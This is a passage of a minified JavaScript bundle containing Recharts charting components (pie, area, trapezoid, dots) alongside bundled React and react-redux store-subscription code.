a=Co(i,"type.displayName")||Co(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var sS=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,oS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(oS);var H$=oS.isPlainObject;const K$=Lr(H$);var Gb,Xb,Zb,Qb,Jb;function e2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function t2(e){for(var t=1;t{var a=n-r,o;return o=Qe(Gb||(Gb=Rs(["M ",",",""])),e,t),o+=Qe(Xb||(Xb=Rs(["L ",",",""])),e+n,t),o+=Qe(Zb||(Zb=Rs(["L ",",",""])),e+n-a/2,t+i),o+=Qe(Qb||(Qb=Rs(["L ",",",""])),e+n-a/2-r,t+i),o+=Qe(Jb||(Jb=Rs(["L ",","," Z"])),e,t),o},X$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Z$=e=>{var t=fn(e,X$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=$d(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var U=m.current.getTotalLength();U&&x(U)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Xe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Ou({},Dt(t),{className:k,d:n2(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,_=b.current,A=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=yN(["strokeDasharray"],u,c);return p.createElement(Rd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},U=>{var D=St(S,i,U),M=St(N,a,U),F=St(z,o,U),R=St(_,n,U),W=St(A,r,U);m.current&&(g.current=D,y.current=M,v.current=F,b.current=R,w.current=W);var $=U>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return p.createElement("path",Ou({},Dt(t),{className:k,d:n2(R,W,D,M,F),ref:m,style:t2(t2({},$),t.style)}))})},Q$=["option","shapeType","activeClassName"];function J$(e,t){if(e==null)return{};var n,r,i=eB(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(c3({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},cB=e=>{var t=it();return(n,r)=>i=>{e==null||e(n,r,i),t(mD())}},uB=(e,t,n)=>{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(hD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function lS(e){var{tooltipEntrySettings:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(uD(t)):i.current!==t&&n(dD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(fD(i.current)),i.current=null)},[n]),null}function dB(e){var{legendPayload:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(hN(t)):i.current!==t&&n(xN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(vN(i.current)),i.current=null)},[n]),null}function fB(e){var{legendPayload:t}=e,n=it(),r=ye(Me),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(hN(t)):i.current!==t&&n(xN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(vN(i.current)),i.current=null)},[n]),null}var mp,pB=()=>{var[e]=p.useState(()=>Po("uid-"));return e},mB=(mp=q2.useId)!==null&&mp!==void 0?mp:pB;function hB(e,t){var n=mB();return t||(e?"".concat(e,"-").concat(n):n)}var xB=p.createContext(void 0),cS=e=>{var{id:t,type:n,children:r}=e,i=hB("recharts-".concat(n),t);return p.createElement(xB.Provider,{value:i},r(i))},vB={cartesianItems:[],polarItems:[]},uS=Xt({name:"graphicalItems",initialState:vB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:Ue()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:Ue()},removeCartesianGraphicalItem:{reducer(e,t){var n=Fn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:Ue()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:Ue()},removePolarGraphicalItem:{reducer(e,t){var n=Fn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:Ue()}}}),{addCartesianGraphicalItem:gB,replaceCartesianGraphicalItem:yB,removeCartesianGraphicalItem:bB,addPolarGraphicalItem:wB,removePolarGraphicalItem:jB}=uS.actions,kB=uS.reducer,NB=e=>{var t=it(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(gB(e)):n.current!==e&&t(yB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(bB(n.current)),n.current=null)},[t]),null},SB=p.memo(NB);function zB(e){var t=it();return p.useLayoutEffect(()=>(t(wB(e)),()=>{t(jB(e))}),[t,e]),null}var CB=["key"],PB=["onMouseEnter","onClick","onMouseLeave"],EB=["id"],AB=["id"];function a2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function et(e){for(var t=1;taS(e.children,nf),[e.children]),n=ye(r=>B$(r,e.id,t));return n==null?null:p.createElement(fB,{legendPayload:n})}var IB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Pd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(lS,{tooltipEntrySettings:f})}),DB=(e,t)=>e>t?"start":esn(typeof t=="function"?t(e):t,n,n*.8),$B=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=NN(a,o),c=i+sn(e.cx,a,a/2),u=r+sn(e.cy,o,o/2),d=sn(e.innerRadius,l,0),f=RB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},BB=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},FB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Xe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=xf(t,CB);return p.createElement(Ba,gi({},i,{type:"linear",className:n}))},WB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Xe("recharts-pie-label-text",M$(e));return p.createElement(nv,gi({},t,{alignmentBaseline:"middle",className:i}),r)};function UB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=Cr(n),c=zo(i),u=zo(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=st(m.cx,m.cy,m.outerRadius+d,x),y=et(et(et(et({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:DB(g.x,m.cx)},g),v=et(et(et(et({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[st(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(Si,{zIndex:Ht.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Gt,null,a&&FB(a,v),WB(i,y,Fe(m,o))))});return p.createElement(Gt,{className:"recharts-pie-labels"},f)}function VB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(Z3,{label:i}):p.createElement(UB,{sectors:t,props:n,showLabels:r})}function HB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=ye(ns),c=ye(N3),u=ye(eR),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=xf(i,PB),x=lB(d,i.dataKey,o),g=cB(m),y=uB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=et(et({},v),{},{stroke:v.stroke,tabIndex:-1,[Jk]:b,[eN]:o});return p.createElement(Gt,gi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},l6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(oB,gi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function KB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=BB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Fe(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Fe(N,u,0);return S+(he(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Fe(S,u,0),_=Fe(S,d,N),A=$B(n,a,S),O=(he(z)?z:0)/w,P,I=et(et({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ut(h)*g*(z!==0?1:0):P=l;var U=P+Ut(h)*((z!==0?m:0)+O*b),D=(P+U)/2,M=(A.innerRadius+A.outerRadius)/2,F=[{name:_,value:z,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],R=st(A.cx,A.cy,M,D);return k=et(et(et(et({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:_,tooltipPayload:F,midAngle:D,middleRadius:M,tooltipPosition:R},I),A),{},{value:z,dataKey:u,startAngle:P,endAngle:U,payload:I,paddingAngle:Ut(h)*g}),k})}return j}function qB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(j$,{value:t?i:void 0},r)}function YB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=$d(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(qB,{showLabels:!g,sectors:i},p.createElement(Rd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,_)=>{var A=x&&x[_],O=_>0?Co(z,"paddingAngle",0):0;if(A){var P=St(A.endAngle-A.startAngle,z.endAngle-z.startAngle,w),I=et(et({},z),{},{startAngle:N+O,endAngle:N+P+O});k.push(I),N=I.endAngle}else{var{endAngle:U,startAngle:D}=z,M=St(0,U-D,w),F=et(et({},z),{},{startAngle:N+O,endAngle:N+M+O});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Gt,null,p.createElement(HB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(VB,{showLabels:!g,sectors:i,props:t}),t.children)}var GB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ht.area};function XB(e){var{id:t}=e,n=xf(e,EB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>aS(e.children,nf),[e.children]),l=ye(d=>F$(d,t,o)),c=p.useRef(null),u=Xe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Gt,{tabIndex:a,className:u})):p.createElement(Si,{zIndex:e.zIndex},p.createElement(IB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Gt,{tabIndex:a,className:u},p.createElement(YB,{props:et(et({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function dS(e){var t=fn(e,GB),{id:n}=t,r=xf(t,AB),i=Cr(r);return p.createElement(cS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(zB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(LB,gi({},r,{id:a})),p.createElement(XB,gi({},r,{id:a}))))}dS.displayName="Pie";var ZB=["points"];function s2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hp(e){for(var t=1;t{var y,v,b=hp(hp(hp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(rF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(Si,{zIndex:u},p.createElement(Gt,Mu({className:r},h),m))}function o2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function l2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),fF=T([dF,Rr,$r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),ov=()=>ye(fF),pF=()=>ye(aR);function c2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=xp(xp(xp({},l),zo(i)),Sx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(Q3,c),p.createElement(Gt,{className:"recharts-active-dot",clipPath:o},u)};function u2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ht.activeDot}=e,l=ye(ns),c=pF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Pt(u)?null:p.createElement(Si,{zIndex:o},p.createElement(vF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var mS=e=>{var{chartData:t}=e,n=it(),r=Kn();return p.useEffect(()=>r?()=>{}:(n(kb(t)),()=>{n(kb(void 0))}),[t,n,r]),null},d2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},hS=Xt({name:"brush",initialState:d2,reducers:{setBrushSettings(e,t){return t.payload==null?d2:t.payload}}}),{setBrushSettings:ZV}=hS.actions,gF=hS.reducer,yF={dots:[],areas:[],lines:[]},xS=Xt({name:"referenceElements",initialState:yF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Fn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Fn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Fn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:QV,removeDot:JV,addArea:eH,removeArea:tH,addLine:nH,removeLine:rH}=xS.actions,bF=xS.reducer,wF=p.createContext(void 0),jF=e=>{var{children:t}=e,[n]=p.useState("".concat(Po("recharts"),"-clip")),r=ov();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(wF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},kF={},vS=Xt({name:"errorBars",initialState:kF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:iH,replaceErrorBar:aH,removeErrorBar:sH}=vS.actions,NF=vS.reducer;function gS(e,t){var n,r,i=ye(u=>Wr(u,e)),a=ye(u=>Ur(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:T4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:M4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function SF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=ov(),{needClipX:a,needClipY:o,needClip:l}=gS(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function zF(e){var t=zo(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var CF={};/** * @license React * use-sync-external-store-with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var fl=p;function PF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var EF=typeof Object.is=="function"?Object.is:PF,AF=fl.useSyncExternalStore,_F=fl.useRef,OF=fl.useEffect,TF=fl.useMemo,MF=fl.useDebugValue;CF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=_F(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=TF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,EF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=AF(e,a[0],a[1]);return OF(function(){o.hasValue=!0,o.value=l},[l]),MF(l),l};function LF(e){e()}function IF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){LF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var f2={notify(){},get:()=>[]};function DF(e,t){let n,r=f2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=IF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=f2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var RF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",$F=RF(),BF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",FF=BF(),WF=()=>$F||FF?p.useLayoutEffect:p.useEffect,UF=WF();function p2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function VF(e,t){if(p2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=DF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);UF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||KF;return p.createElement(l.Provider,{value:a},t)}var YF=qF,GF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function XF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function yS(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(GF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!VF(e[r],t[r]))return!1}else if(!XF(e[r],t[r]))return!1;return!0}function lv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:fS}function cv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:fS}var bS=(e,t,n)=>r3(e,"xAxis",lv(e,t),n),wS=(e,t,n)=>n3(e,"xAxis",lv(e,t),n),jS=(e,t,n)=>r3(e,"yAxis",cv(e,t),n),kS=(e,t,n)=>n3(e,"yAxis",cv(e,t),n),ZF=T([Me,bS,jS,wS,kS],(e,t,n,r,i)=>fr(e,"xAxis")?su(t,r,!1):su(n,i,!1)),QF=(e,t)=>t,NS=T([I4,QF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),SS=e=>{var t=Me(e),n=fr(t,"xAxis");return n?"yAxis":"xAxis"},JF=(e,t)=>{var n=SS(e);return n==="yAxis"?cv(e,t):lv(e,t)},eW=(e,t,n)=>F4(e,SS(e),JF(e,t),n),tW=T([NS,eW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=N0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),nW=T([Me,bS,jS,wS,kS,tW,H7,ZF,NS,eI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return wW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),rW=["id"],iW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Ki(){return Ki=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:Lu(r,i),value:Pd(n,t),payload:e}]},uW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:cs,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Pd(o,t),hide:l,type:u,color:Lu(r,a),unit:c,graphicalItemId:d}};return p.createElement(lS,{tooltipEntrySettings:f})});function dW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=Cr(r);return p.createElement(aF,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function fW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Oa(Oa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(w$,{value:t?i:void 0},n)}function h2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=zS(a,rW),h=Cr(m),x=Dt(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Gt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ba,Ki({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(dW,{points:t,props:m,clipPathId:i}))}function pW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ze(l)||!ze(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),he(d)?p.createElement("rect",{x:0,y:lf.y||0));return 